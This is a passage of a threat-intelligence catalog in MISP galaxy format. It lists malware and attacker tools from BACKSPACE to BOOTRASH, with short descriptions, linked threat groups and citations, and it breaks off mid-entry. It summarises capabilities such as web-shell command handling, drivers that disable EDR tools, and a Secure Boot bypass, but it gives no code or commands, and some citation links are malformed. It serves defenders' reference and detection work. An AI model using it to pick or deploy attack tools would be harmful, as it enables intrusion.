[BACKSPACE](https://app.tidalcyber.com/software/d0daaa00-68e1-4568-bb08-3f28bcd82c63) is a backdoor used by [APT30](https://app.tidalcyber.com/groups/be45ff95-6c74-4000-bc39-63044673d82f) that dates back to at least 2005. ^{[[FireEye APT30](https://app.tidalcyber.com/references/c48d2084-61cf-4e86-8072-01e5d2de8416)]}

The tag is: *misp-galaxy:software="BACKSPACE"*

Backstab

Backstab is a tool used to terminate antimalware-protected processes.^{[[U.S. CISA Understanding LockBit June 2023](/references/9c03b801-2ebe-4c7b-aa29-1b7a3625964a)]}

The tag is: *misp-galaxy:software="Backstab"*

BADCALL

[BADCALL](https://app.tidalcyber.com/software/d7aa53a5-0912-4952-8f7f-55698e933c3b) is a Trojan malware variant used by the group [Lazarus Group](https://app.tidalcyber.com/groups/0bc66e95-de93-4de7-b415-4041b7191f08). ^{[[US-CERT BADCALL](https://app.tidalcyber.com/references/aeb4ff70-fa98-474c-8337-9e50d07ee378)]}

The tag is: *misp-galaxy:software="BADCALL"*

BADFLICK

[BADFLICK](https://app.tidalcyber.com/software/8c454294-81cb-45d0-b299-818994ad3e6f) is a backdoor used by [Leviathan](https://app.tidalcyber.com/groups/eadd78e3-3b5d-430a-b994-4360b172c871) in spearphishing campaigns first reported in 2018 that targeted the U.S. engineering and maritime industries.^{[[FireEye Periscope March 2018](https://app.tidalcyber.com/references/8edb5d2b-b5c4-4d9d-8049-43dd6ca9ab7f)]}^{[[Accenture MUDCARP March 2019](https://app.tidalcyber.com/references/811d433d-27a4-4411-8ec9-b3a173ba0033)]}

The tag is: *misp-galaxy:software="BADFLICK"*

BADHATCH

[BADHATCH](https://app.tidalcyber.com/software/16481e0f-49d5-54c1-a1fe-16d9e7f8d08c) is a backdoor that has been utilized by [FIN8](https://app.tidalcyber.com/groups/b3061284-0335-4dcb-9f8e-a3b0412fd46f) since at least 2019. [BADHATCH](https://app.tidalcyber.com/software/16481e0f-49d5-54c1-a1fe-16d9e7f8d08c) has been used to target the insurance, retail, technology, and chemical industries in the United States, Canada, South Africa, Panama, and Italy.^{[[Gigamon BADHATCH Jul 2019](https://app.tidalcyber.com/references/69a45479-e982-58ee-9e2d-caaf825f0ad4)]}^{[[BitDefender BADHATCH Mar 2021](https://app.tidalcyber.com/references/958cfc9a-901c-549d-96c2-956272b240e3)]}

The tag is: *misp-galaxy:software="BADHATCH"*

BADNEWS

[BADNEWS](https://app.tidalcyber.com/software/34c24d27-c779-42a4-9f61-3f0d3fea6fd4) is malware that has been used by the actors responsible for the [Patchwork](https://app.tidalcyber.com/groups/32385eba-7bbf-439e-acf2-83040e97165a) campaign. Its name was given due to its use of RSS feeds, forums, and blogs for command and control. ^{[[Forcepoint Monsoon](https://app.tidalcyber.com/references/ea64a3a5-a248-44bb-98cd-f7e3d4c23d4e)]} ^{[[TrendMicro Patchwork Dec 2017](https://app.tidalcyber.com/references/15465b26-99e1-4956-8c81-cda3388169b8)]}

The tag is: *misp-galaxy:software="BADNEWS"*

BadPatch

[BadPatch](https://app.tidalcyber.com/software/10e76722-4b52-47f6-9276-70e95fecb26b) is a Windows Trojan that was used in a Gaza Hackers-linked campaign.^{[[Unit 42 BadPatch Oct 2017](https://app.tidalcyber.com/references/9c294bf7-24ba-408a-90b8-5b9885838e1b)]}

The tag is: *misp-galaxy:software="BadPatch"*

BadPotato

BadPotato is an open-source software project that, according to its GitHub page, can be used for privilege escalation purposes.^{[[GitHub BeichenDream BadPotato](/references/e7f1d932-4bcd-4a78-b975-f4ebbce8c05e)]}

The tag is: *misp-galaxy:software="BadPotato"*

Bad Rabbit

[Bad Rabbit](https://app.tidalcyber.com/software/a1d86d8f-fa48-43aa-9833-7355750e455c) is a self-propagating ransomware that affected the Ukrainian transportation sector in 2017. [Bad Rabbit](https://app.tidalcyber.com/software/a1d86d8f-fa48-43aa-9833-7355750e455c) has also targeted organizations and consumers in Russia. <sup>[[Secure List Bad

Rabbit](https://app.tidalcyber.com/references/f4cec03a-ea94-4874-9bea-16189e967ff9)]</sup>^{[[ESET Bad Rabbit](https://app.tidalcyber.com/references/a9664f01-78f0-4461-a757-12f54ec99a56)]}^{[[Dragos Apr 2019](https://app.tidalcyber.com/references/1ae25634-7aeb-5ba3-a467-65fbaa394e2b)]}

The tag is: *misp-galaxy:software="Bad Rabbit"*

BadRentdrv2

BadRentdrv2 is a vulnerable driver that is capable of terminating several EDRs and antivirus software in the market, rendering them ineffective, working for both x32 and x64.^{[[GitHub October 1 2023](/references/d648632a-a0e0-4aa8-a747-a92c2eb9c14c)]}

The tag is: *misp-galaxy:software="BadRentdrv2"*

Bandook

[Bandook](https://app.tidalcyber.com/software/5c0f8c35-88ff-40a1-977a-af5ce534e932) is a commercially available RAT, written in Delphi and C++, that has been available since at least 2007. It has been used against government, financial, energy, healthcare, education, IT, and legal organizations in the US, South America, Europe, and Southeast Asia. [Bandook](https://app.tidalcyber.com/software/5c0f8c35-88ff-40a1-977a-af5ce534e932) has been used by [Dark Caracal](https://app.tidalcyber.com/groups/7ad94dbf-9909-42dd-8b62-a435481bdb14), as well as in a separate campaign referred to as "Operation Manul".^{[[EFF Manul Aug 2016](https://app.tidalcyber.com/references/311a3863-3897-4ddf-a251-d0467a56675f)]}^{[[Lookout Dark Caracal Jan 2018](https://app.tidalcyber.com/references/c558f5db-a426-4041-b883-995ec56e7155)]}^{[[CheckPoint Bandook Nov 2020](https://app.tidalcyber.com/references/352652a9-86c9-42e1-8ee0-968180c6a51e)]}

The tag is: *misp-galaxy:software="Bandook"*

Bankshot

[Bankshot](https://app.tidalcyber.com/software/24b8471d-698f-48cc-b47a-8fbbaf28b293) is a remote access tool (RAT) that was first reported by the Department of Homeland Security in December of 2017. In 2018, [Lazarus Group](https://app.tidalcyber.com/groups/0bc66e95-de93-4de7-b415-4041b7191f08) used the [Bankshot](https://app.tidalcyber.com/software/24b8471d-698f-48cc-b47a-8fbbaf28b293) implant in attacks against the Turkish financial sector. ^{[[McAfee Bankshot](https://app.tidalcyber.com/references/c748dc6c-8c19-4a5c-840f-3d47955a6c78)]}

The tag is: *misp-galaxy:software="Bankshot"*

Banshee Stealer

This object represents a collection of MITRE ATT&CK® Techniques and other objects related to the subject threat. Further contextual details are provided via the sources in the References tab below and any associated Tags.

The tag is: *misp-galaxy:software="Banshee Stealer"*

Bash

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: File used by Windows subsystem for Linux

Author: Oddvar Moe

Paths: * C:\Windows\System32\bash.exe * C:\Windows\SysWOW64\bash.exe

Resources: * https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules

Detection: * BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules * Sigma: [proc_creation_win_lolbin_bash.yml](https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_bash.yml) * IOC: Child process from bash.exe^{[[Bash.exe - LOLBAS Project](/references/7d3efbc7-6abf-4f3f-aec8-686100bb90ad)]}

The tag is: *misp-galaxy:software="Bash"*

Bat Armor

Bat Armor is a tool used to generate .bat files using PowerShell scripts.^{[[U.S. CISA Understanding LockBit June 2023](/references/9c03b801-2ebe-4c7b-aa29-1b7a3625964a)]}

The tag is: *misp-galaxy:software="Bat Armor"*

Bazar

[Bazar](https://app.tidalcyber.com/software/b35d9817-6ead-4dbd-a2fa-4b8e217f8eac) is a downloader and backdoor that has been used since at least April 2020, with infections primarily against professional services, healthcare, manufacturing, IT, logistics and travel companies across the US and Europe. [Bazar](https://app.tidalcyber.com/software/b35d9817-6ead-4dbd-a2fa-4b8e217f8eac) reportedly has ties to [TrickBot](https://app.tidalcyber.com/software/c2bd4213-fc7b-474f-b5a0-28145b07c51d) campaigns and can be used to deploy additional malware, including ransomware, and to steal sensitive data.^{[[Cybereason Bazar July 2020](https://app.tidalcyber.com/references/8819875a-5139-4dae-94c8-e7cc9f847580)]}

The tag is: *misp-galaxy:software="Bazar"*

BBK

[BBK](https://app.tidalcyber.com/software/3daa5ae1-464e-4c0a-aa46-15264a2a0126) is a downloader that has been used by [BRONZE BUTLER](https://app.tidalcyber.com/groups/5825a840-5577-4ffc-a08d-3f48d64395cb) since at least 2019.^{[[Trend Micro Tick November 2019](https://app.tidalcyber.com/references/93adbf0d-5f5e-498e-aca1-ed3eb11561e7)]}

The tag is: *misp-galaxy:software="BBK"*

BBSRAT

[BBSRAT](https://app.tidalcyber.com/software/be4dab36-d499-4ac3-b204-5e309e3a5331) is malware with remote access tool functionality that has been used in targeted compromises. ^{[[Palo Alto Networks BBSRAT](https://app.tidalcyber.com/references/8c5d61ba-24c5-4f6c-a208-e0a5d23ebb49)]}

The tag is: *misp-galaxy:software="BBSRAT"*

BCDEdit

Boot Configuration Data (BCD) files provide a store that is used to describe boot applications and boot application settings.

BCDEdit is a command-line tool for managing BCD. It can be used for a variety of purposes, including creating new stores, modifying existing stores, and adding boot menu options.

Threat actors may use BCDEdit to disable recovery features^{[[MicrosoftLearn December 15 2021](/references/0735cdfc-1f92-4e9e-848e-bc898e85b29d)]}

The tag is: *misp-galaxy:software="BCDEdit"*

BeaverTail

JavaScript-based malware hidden inside Node Package Manager (NPM) packages, serving as an information stealer and loader for additional malware.^{[[Unit 42 November 21 2023](/references/930228c3-a93b-4664-ab7d-65af212211fc)]}

The tag is: *misp-galaxy:software="BeaverTail"*

BeeFlush

BeeFlush is a web shell that reads in data from web traffic, specifically the Fushd parameter using Java. It will decode the data and concatenate it with a standard output stream redirector for /bin/sh. Once the C2 command is executed, BeeFlush reads the input stream and base64 encodes the message before writing it back out again.<sup>[[MITRE-Engenuity May 3

2024](/references/a83353b6-1c8e-4fbe-a034-ff27cbd8f100)]</sup>

The tag is: *misp-galaxy:software="BeeFlush"*

BendyBear

[BendyBear](https://app.tidalcyber.com/software/a114a498-fcfd-4e0a-9d1e-e26750d71af8) is an x64 shellcode for a stage-zero implant designed to download malware from a C2 server. First discovered in August 2020, [BendyBear](https://app.tidalcyber.com/software/a114a498-fcfd-4e0a-9d1e-e26750d71af8) shares a variety of features with [Waterbear](https://app.tidalcyber.com/software/56872a5b-dc01-455c-85d5-06c577abb030), malware previously attributed to the Chinese cyber espionage group [BlackTech]([Unit42 BendyBear Feb 2021(https://app.tidalcyber.com/references/f5cbc08f-6f2c-4c81-9d68-07f61e16f138)]</sup>

The tag is: *misp-galaxy:software="BendyBear"*

BFG Agonizer

[BFG Agonizer](https://app.tidalcyber.com/software/99005f44-fb72-5c19-80c6-3b660daf9b11) is a wiper related to the open-source project CRYLINE-v.5.0. The malware is associated with wiping operations conducted by the [Agrius](https://app.tidalcyber.com/groups/36c70cf2-c7d5-5926-8155-5d3a63e3e55a) threat actor.^{[[Unit42 Agrius 2023](https://app.tidalcyber.com/references/70fb43bd-f8e1-56a5-a0e9-884e85f16b10)]}

The tag is: *misp-galaxy:software="BFG Agonizer"*

Bginfo

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Background Information Utility included with SysInternals Suite

Author: Oddvar Moe

Paths: * No fixed path

Resources: * https://oddvar.moe/2017/05/18/bypassing-application-whitelisting-with-bginfo/

Detection: * Sigma: [proc_creation_win_lolbin_bginfo.yml](https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_bginfo.yml) * Elastic: [defense_evasion_unusual_process_network_connection.toml](https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml) * Elastic: [defense_evasion_network_connection_from_windows_binary.toml](https://github.com/elastic/

detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml) * BlockRule: [https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules]([Bginfo.exe - LOLBAS Project(/references/ca1eaac2-7449-4a76-bec2-9dc5971fd808)]</sup>

The tag is: *misp-galaxy:software="Bginfo"*

BianLian Ransomware (Backdoor)

This Software object represents the custom backdoor tool used during intrusions conducted by the BianLian Ransomware Group.^{[[U.S. CISA BianLian Ransomware May 2023](/references/aa52e826-f292-41f6-985d-0282230c8948)]}^{[[BianLian Ransomware Gang Gives It a Go! | [redacted]](/references/fc1aa979-7dbc-4fff-a8d1-b35a3b2bec3d)]}

Delivers: TeamViewer^{[[U.S. CISA BianLian Ransomware May 2023](/references/aa52e826-f292-41f6-985d-0282230c8948)]}, Atera Agent^{[[U.S. CISA BianLian Ransomware May 2023](/references/aa52e826-f292-41f6-985d-0282230c8948)]}, Splashtop^{[[U.S. CISA BianLian Ransomware May 2023](/references/aa52e826-f292-41f6-985d-0282230c8948)]}, AnyDesk^{[[U.S. CISA BianLian Ransomware May 2023](/references/aa52e826-f292-41f6-985d-0282230c8948)]}

The tag is: *misp-galaxy:software="BianLian Ransomware (Backdoor)"*

BianLian Ransomware (Encryptor)

This Software object represents the custom Go encryptor tool (`encryptor.exe`) used during intrusions conducted by the BianLian Ransomware Group.^{[[U.S. CISA BianLian Ransomware May 2023](/references/aa52e826-f292-41f6-985d-0282230c8948)]}. The tool will skip encryption of files based on a hardcoded file extension exclusion list.^{[[BianLian Ransomware Gang Gives It a Go! | [redacted]](/references/fc1aa979-7dbc-4fff-a8d1-b35a3b2bec3d)]}

The tag is: *misp-galaxy:software="BianLian Ransomware (Encryptor)"*

BigFix

BigFix is a legitimate tool used for endpoint management, which adversaries have abused to scale the deployment of malware across victim environments.^{[[U.S. CISA Medusa Ransomware March 12 2025](/references/16dc8fe1-73fa-4f8a-92a0-b1fac2908c47)]}

The tag is: *misp-galaxy:software="BigFix"*

BISCUIT

[BISCUIT](https://app.tidalcyber.com/software/3ad98097-2d10-4aa1-9594-7e74828a3643) is a backdoor that has been used by [APT1](https://app.tidalcyber.com/groups/5307bba1-2674-4fbd-bfd5-1db1ae06fc5f) since as early as 2007. ^{[[Mandiant APT1](https://app.tidalcyber.com/references/865eba93-cf6a-4e41-bc09-de9b0b3c2669)]}

The tag is: *misp-galaxy:software="BISCUIT"*

Bisonal

[Bisonal](https://app.tidalcyber.com/software/b898816e-610f-4c2f-9045-d9f28a54ee58) is a remote access tool (RAT) that has been used by [Tonto Team](https://app.tidalcyber.com/groups/9f5c5672-5e7e-4440-afc8-3fdf46a1bb6c) against public and private sector organizations in Russia, South Korea, and Japan since at least December 2010.^{[[Unit 42 Bisonal July 2018](https://app.tidalcyber.com/references/30b2ec12-b785-43fb-ab72-b37387046d15)]}^{[[Talos Bisonal Mar 2020](https://app.tidalcyber.com/references/eaecccff-e0a0-4fa0-81e5-799b23c26b5a)]}

The tag is: *misp-galaxy:software="Bisonal"*

BitPaymer

[BitPaymer](https://app.tidalcyber.com/software/e7dec940-8701-4c06-9865-5b11c61c046d) is a ransomware variant first observed in August 2017 targeting hospitals in the U.K. [BitPaymer](https://app.tidalcyber.com/software/e7dec940-8701-4c06-9865-5b11c61c046d) uses a unique encryption key, ransom note, and contact information for each operation. [BitPaymer](https://app.tidalcyber.com/software/e7dec940-8701-4c06-9865-5b11c61c046d) has several indicators suggesting overlap with the [Dridex](https://app.tidalcyber.com/software/e3cd4405-b698-41d9-88e4-fff29e7a19e2) malware and is often delivered via [Dridex]([Crowdstrike Indrik November 2018(https://app.tidalcyber.com/references/0f85f611-90db-43ba-8b71-5d0d4ec8cdd5)]</sup>

The tag is: *misp-galaxy:software="BitPaymer"*

BITSAdmin

[BITSAdmin](https://app.tidalcyber.com/software/52a20d3d-1edd-4f17-87f0-b77c67d260b4) is a command line tool used to create and manage [BITS Jobs](https://app.tidalcyber.com/technique/6b278e5d-7383-42a4-9425-2da79bbe43e0). ^{[[Microsoft BITSAdmin](https://app.tidalcyber.com/references/5b8c2a8c-f01e-491a-aaf9-504ee7a1caed)]}

The tag is: *misp-galaxy:software="BITSAdmin"*

Black Basta

[Black Basta](https://app.tidalcyber.com/software/0d5b24ba-68dc-50fa-8268-3012180fe374) is ransomware written in C++ that has been offered within the ransomware-as-a-service (RaaS) model since at least April 2022; there are variants that target Windows and VMWare ESXi servers. [Black Basta](https://app.tidalcyber.com/software/0d5b24ba-68dc-50fa-8268-3012180fe374) operations have included the double extortion technique where in addition to demanding ransom for decrypting the files of targeted organizations the cyber actors also threaten to post sensitive information to a leak site if the ransom is not paid. [Black Basta](https://app.tidalcyber.com/software/0d5b24ba-68dc-50fa-8268-3012180fe374) affiliates have targeted multiple high-value

organizations, with the largest number of victims based in the U.S. Based on similarities in TTPs, leak sites, payment sites, and negotiation tactics, security researchers assess the [Black Basta](https://app.tidalcyber.com/software/0d5b24ba-68dc-50fa-8268-3012180fe374) RaaS operators could include current or former members of the [Conti](https://app.tidalcyber.com/software/8e995c29-2759-4aeb-9a0f-bb7cd97b06e5) group.^{[[Palo Alto Networks Black Basta August 2022](https://app.tidalcyber.com/references/fc9ee531-3680-549b-86e0-a10a70c3ec67)]}^{[[Deep Instinct Black Basta August 2022](https://app.tidalcyber.com/references/72b64d7d-f8eb-54d3-83c8-a883906ceea1)]}^{[[Minerva Labs Black Basta May 2022](https://app.tidalcyber.com/references/6358f7ed-41d6-56be-83bb-179e0a8b7873)]}^{[[Avertium Black Basta June 2022](https://app.tidalcyber.com/references/31c2ef62-2852-5418-9d52-2479a3a619d0)]}^{[[NCC Group Black Basta June 2022](https://app.tidalcyber.com/references/b5f91f77-b102-5812-a79f-69b254487da8)]}^{[[Cyble Black Basta May 2022](https://app.tidalcyber.com/references/18035aba-0ae3-58b8-b426-86c2e38a37ae)]}

The tag is: *misp-galaxy:software="Black Basta"*

BlackByte 2.0 Ransomware

[BlackByte 2.0 Ransomware](https://app.tidalcyber.com/software/547c8259-2390-5e04-a5aa-db37da5cfdc1) is a replacement for [BlackByte Ransomware](https://app.tidalcyber.com/software/a6a74c8f-320c-5102-ab17-9055bfb8359f). Unlike [BlackByte Ransomware](https://app.tidalcyber.com/software/a6a74c8f-320c-5102-ab17-9055bfb8359f), [BlackByte 2.0 Ransomware](https://app.tidalcyber.com/software/547c8259-2390-5e04-a5aa-db37da5cfdc1) does not have a common key for victim decryption. [BlackByte 2.0 Ransomware](https://app.tidalcyber.com/software/547c8259-2390-5e04-a5aa-db37da5cfdc1) remains uniquely associated with [BlackByte](https://app.tidalcyber.com/groups/94f5c644-d36a-59b0-b7e2-7a1d3413443d) operations.^{[[Microsoft BlackByte 2023](https://app.tidalcyber.com/references/5db473fd-7e98-5d4a-969a-c3daa8a67db7)]}

The tag is: *misp-galaxy:software="BlackByte 2.0 Ransomware"*

BlackByte Ransomware

[BlackByte Ransomware](https://app.tidalcyber.com/software/a6a74c8f-320c-5102-ab17-9055bfb8359f) is uniquely associated with [BlackByte](https://app.tidalcyber.com/groups/94f5c644-d36a-59b0-b7e2-7a1d3413443d) operations. [BlackByte Ransomware](https://app.tidalcyber.com/software/a6a74c8f-320c-5102-ab17-9055bfb8359f) used a common key for infections, allowing for the creation of a universal decryptor.^{[[Trustwave BlackByte 2021](https://app.tidalcyber.com/references/ab94e4f7-7976-5ef8-acf9-99beb6182fa9)]}^{[[FBI BlackByte 2022](https://app.tidalcyber.com/references/b206b4fd-7c8a-5e5c-a0a4-737a5502df80)]} [BlackByte Ransomware](https://app.tidalcyber.com/software/a6a74c8f-320c-5102-ab17-9055bfb8359f) was replaced in [BlackByte](https://app.tidalcyber.com/groups/94f5c644-d36a-59b0-b7e2-7a1d3413443d) operations by [BlackByte 2.0 Ransomware](https://app.tidalcyber.com/software/547c8259-2390-5e04-a5aa-db37da5cfdc1) by 2023.^{[[Microsoft BlackByte 2023](https://app.tidalcyber.com/references/5db473fd-7e98-5d4a-969a-c3daa8a67db7)]}<sup>[[Cisco BlackByte 2024](https://app.tidalcyber.com/references/0b5c9baf-

0f4e-5bed-a77d-7006559fc110)]</sup>

The tag is: *misp-galaxy:software="BlackByte Ransomware"*

BlackCat

[BlackCat](https://app.tidalcyber.com/software/691369e5-ef74-5ff9-bc20-34efeb4b6c5b) is ransomware written in Rust that has been offered via the Ransomware-as-a-Service (RaaS) model. First observed November 2021, [BlackCat](https://app.tidalcyber.com/software/691369e5-ef74-5ff9-bc20-34efeb4b6c5b) has been used to target multiple sectors and organizations in various countries and regions in Africa, the Americas, Asia, Australia, and Europe.^{[[Microsoft BlackCat Jun 2022](https://app.tidalcyber.com/references/55be1ca7-fdb7-5d76-a9c8-5f44a0d00b0e)]}^{[[Sophos BlackCat Jul 2022](https://app.tidalcyber.com/references/481a0106-d5b6-532c-8f5b-6c0c477185f4)]}^{[[ACSC BlackCat Apr 2022](https://app.tidalcyber.com/references/3b85eaeb-6bf5-529b-80a4-439ceb6c5d6d)]}

The tag is: *misp-galaxy:software="BlackCat"*

BLACKCOFFEE

[BLACKCOFFEE](https://app.tidalcyber.com/software/e85e2fca-9347-4448-bfc1-342f29d5d6a1) is malware that has been used by several Chinese groups since at least 2013. ^{[[FireEye APT17](https://app.tidalcyber.com/references/a303f97a-72dd-4833-bac7-a421addc3242)]} ^{[[FireEye Periscope March 2018](https://app.tidalcyber.com/references/8edb5d2b-b5c4-4d9d-8049-43dd6ca9ab7f)]}

The tag is: *misp-galaxy:software="BLACKCOFFEE"*

BlackEnergy

[BlackEnergy](https://app.tidalcyber.com/software/908216c7-3ad4-4e0c-9dd3-a7ed5d1c695f) is a malware toolkit that has been used by both criminal and APT actors. It dates back to at least 2007 and was originally designed to create botnets for use in conducting Distributed Denial of Service (DDoS) attacks, but its use has evolved to support various plug-ins. It is well known for being used during the confrontation between Georgia and Russia in 2008, as well as in targeting Ukrainian institutions. Variants include BlackEnergy 2 and BlackEnergy 3. ^{[[F-Secure BlackEnergy 2014](https://app.tidalcyber.com/references/5f228fb5-d959-4c4a-bb8c-f9dc01d5af07)]}

The tag is: *misp-galaxy:software="BlackEnergy"*

BlackLock Ransomware

Security researchers have described BlackLock as a "rebranding" of the Eldorado ransomware operation.^{[[Resecurity BlackLock March 25 2025](/references/2977c45f-3a7a-42ae-be59-378aa288dc24)]} Unless otherwise noted, this object uses details from the existing "Eldorado Ransomware" Software object.

The tag is: *misp-galaxy:software="BlackLock Ransomware"*

BlackLotus

BlackLotus is a Unified Extensible Firmware Interface (UEFI) bootkit that enables bypass of Secure Boot, a UEFI feature that provides verification about the state of the boot chain, even on fully updated UEFI systems. It is considered the first “in-the-wild” UEFI bootkit, as it was observed for sale on underground forums in October 2022 and researchers were able to then confirm its existence. BlackLotus bypasses UEFI Secure Boot and establishes persistence by exploiting CVE-2022-21894, and after installation, it is designed to deploy a kernel driver for further persistence and an HTTP downloader, which allows communication with a command-and-control server and loading of additional user-mode or kernel-mode payloads. BlackLotus is also capable of disabling operating system security features, and some instances of the malware include a location-based check where it will terminate if the system uses a location associated with one of several Eastern European countries.^{[[ESET BlackLotus March 01 2023](/references/1a4c134b-c701-400f-beee-e6b3cc835042)]}

The tag is: *misp-galaxy:software="BlackLotus"*

BlackMould

[BlackMould](https://app.tidalcyber.com/software/da348a51-d047-4144-9ba4-34d2ce964a11) is a web shell based on [China Chopper](https://app.tidalcyber.com/software/723c5ab7-23ca-46f2-83bb-f1d1e550122c) for servers running Microsoft IIS. First reported in December 2019, it has been used in malicious campaigns by [GALLIUM](https://app.tidalcyber.com/groups/15ff1ce0-44f0-4f1d-a4ef-83444570e572) against telecommunication providers.^{[[Microsoft GALLIUM December 2019](https://app.tidalcyber.com/references/5bc76b47-ff68-4031-a347-f2dc0daba203)]}

The tag is: *misp-galaxy:software="BlackMould"*

BlackSuit Ransomware

BlackSuit is a ransomware capable of running on Windows and Linux systems. BlackSuit is believed to be a successor to Royal, a ransomware operation which itself derives from the notorious Russia-based Conti gang. BlackSuit operations were first observed in May 2023, and although they were relatively low in number, U.S. authorities issued a warning for healthcare sector organizations due to the ransomware’s suspected pedigree.^{[[HC3 Analyst Note BlackSuit Ransomware November 2023](/references/d956f0c6-d90e-49e8-a64c-a46bfc177cc6)]} The number of attacks claimed by BlackSuit operators increased notably in Q2 2024.^{[[GitHub ransomwatch](/references/62037959-58e4-475a-bb91-ff360d20c1d7)]}

The tag is: *misp-galaxy:software="BlackSuit Ransomware"*

BLINDINGCAN

[BLINDINGCAN](https://app.tidalcyber.com/software/1af8ea81-40df-4fba-8d63-1858b8b31217) is a remote access Trojan that has been used by the North Korean government since at least early 2020 in cyber operations against defense, engineering, and government organizations in Western Europe and the US.<sup>[[US-CERT BLINDINGCAN Aug 2020](https://app.tidalcyber.com/references/

0421788c-b807-4e19-897c-bfb4323feb16)]</sup>^{[[NHS UK BLINDINGCAN Aug 2020](https://app.tidalcyber.com/references/acca4c89-acce-4916-88b6-f4dac7d8ab19)]}

The tag is: *misp-galaxy:software="BLINDINGCAN"*

BloodHound

[BloodHound](https://app.tidalcyber.com/software/72658763-8077-451e-8572-38858f8cacf3) is an Active Directory (AD) reconnaissance tool that can reveal hidden relationships and identify attack paths within an AD environment.^{[[GitHub Bloodhound](https://app.tidalcyber.com/references/e90b4941-5dff-4f38-b4dd-af3426fd621e)]}^{[[CrowdStrike BloodHound April 2018](https://app.tidalcyber.com/references/fa99f290-e42c-4311-9f6d-c519c9ab89fe)]}^{[[FoxIT Wocao December 2019](https://app.tidalcyber.com/references/aa3e31c7-71cd-4a3f-b482-9049c9abb631)]}

The tag is: *misp-galaxy:software="BloodHound"*

BLUELIGHT

[BLUELIGHT](https://app.tidalcyber.com/software/3aaaaf86-638b-4a65-be18-c6e6dcdcdb97) is a remote access Trojan used by [APT37](https://app.tidalcyber.com/groups/013fdfdc-aa32-4779-8f6e-7920615cbf66) that was first observed in early 2021.^{[[Volexity InkySquid BLUELIGHT August 2021](https://app.tidalcyber.com/references/7e394434-364f-4e50-9a96-3e75dacc9866)]}

The tag is: *misp-galaxy:software="BLUELIGHT"*

Bobik

Bobik offers remote access capabilities but also has a DDoS module that was used against supporters of Ukraine.^{[[Avast Threat Labs September 6 2022](/references/6de89788-7fd5-4779-abd4-86cf7ccf8ee8)]}^{[[GitHub July 29 2019](/references/7b9c678c-811a-4347-a742-e2f16906ee7a)]}

The tag is: *misp-galaxy:software="Bobik"*

BOLDMOVE

[BOLDMOVE](https://app.tidalcyber.com/software/00dff216-0c61-5d8a-9de4-bfdab70f60c2) is a type of backdoor malware written in C linked to People's Republic of China operations from 2022 through 2023. [BOLDMOVE](https://app.tidalcyber.com/software/00dff216-0c61-5d8a-9de4-bfdab70f60c2) includes both Windows and Linux variants, with some Linux variants specifically designed for FortiGate Firewall devices. [BOLDMOVE](https://app.tidalcyber.com/software/00dff216-0c61-5d8a-9de4-bfdab70f60c2) is linked to zero-day exploitation of CVE-2022-42475 in FortiOSS SSL-VPNs.^{[[Google Cloud BOLDMOVE 2023](https://app.tidalcyber.com/references/dc66d26a-e5e1-5b49-907c-ad5c456f21ae)]} The record for [BOLDMOVE](https://app.tidalcyber.com/software/00dff216-0c61-5d8a-9de4-bfdab70f60c2) only covers known Linux variants.

The tag is: *misp-galaxy:software="BOLDMOVE"*

Bonadan

[Bonadan](https://app.tidalcyber.com/software/3793db4b-f843-4cfd-89d2-ec28b62feda5) is a malicious version of OpenSSH which acts as a custom backdoor. [Bonadan](https://app.tidalcyber.com/software/3793db4b-f843-4cfd-89d2-ec28b62feda5) has been active since at least 2018 and combines a new cryptocurrency-mining module with the same credential-stealing module used by the Onderon family of backdoors.^{[[ESET ForSSHe December 2018](https://app.tidalcyber.com/references/0e25bf8b-3c9e-4661-a9fd-79b2ad3b8dd2)]}

The tag is: *misp-galaxy:software="Bonadan"*

BONDUPDATER

[BONDUPDATER](https://app.tidalcyber.com/software/d8690218-5272-47d8-8189-35d3b518e66f) is a PowerShell backdoor used by [OilRig](https://app.tidalcyber.com/groups/d01abdb1-0378-4654-aa38-1a4a292703e2). It was first observed in November 2017 during targeting of a Middle Eastern government organization, and an updated version was observed in August 2018 being used to target a government organization with spearphishing emails.^{[[FireEye APT34 Dec 2017](https://app.tidalcyber.com/references/88f41728-08ad-4cd8-a418-895738d68b04)]}^{[[Palo Alto OilRig Sep 2018](https://app.tidalcyber.com/references/2ec6eabe-92e2-454c-ba7b-b27fec5b428d)]}

The tag is: *misp-galaxy:software="BONDUPDATER"*

BoomBox

[BoomBox](https://app.tidalcyber.com/software/9d393f6f-855e-4348-8a26-008174e3605a) is a downloader responsible for executing next stage components that has been used by [APT29](https://app.tidalcyber.com/groups/4c3e48b9-4426-4271-a7af-c3dfad79f447) since at least 2021.^{[[MSTIC Nobelium Toolset May 2021](https://app.tidalcyber.com/references/52464e69-ff9e-4101-9596-dd0c6404bf76)]}

The tag is: *misp-galaxy:software="BoomBox"*

BOOSTWRITE

[BOOSTWRITE](https://app.tidalcyber.com/software/74a73624-d53b-4c84-a14b-8ae964fd577c) is a loader crafted to be launched via abuse of the DLL search order of applications used by [FIN7]([FireEye FIN7 Oct 2019](https://app.tidalcyber.com/references/df8886d1-fbd7-4c24-8ab1-6261923dee96)]</sup>

The tag is: *misp-galaxy:software="BOOSTWRITE"*

BOOTRASH

[BOOTRASH](https://app.tidalcyber.com/software/d47a4753-80f5-494e-aad7-d033aaff0d6d) is a

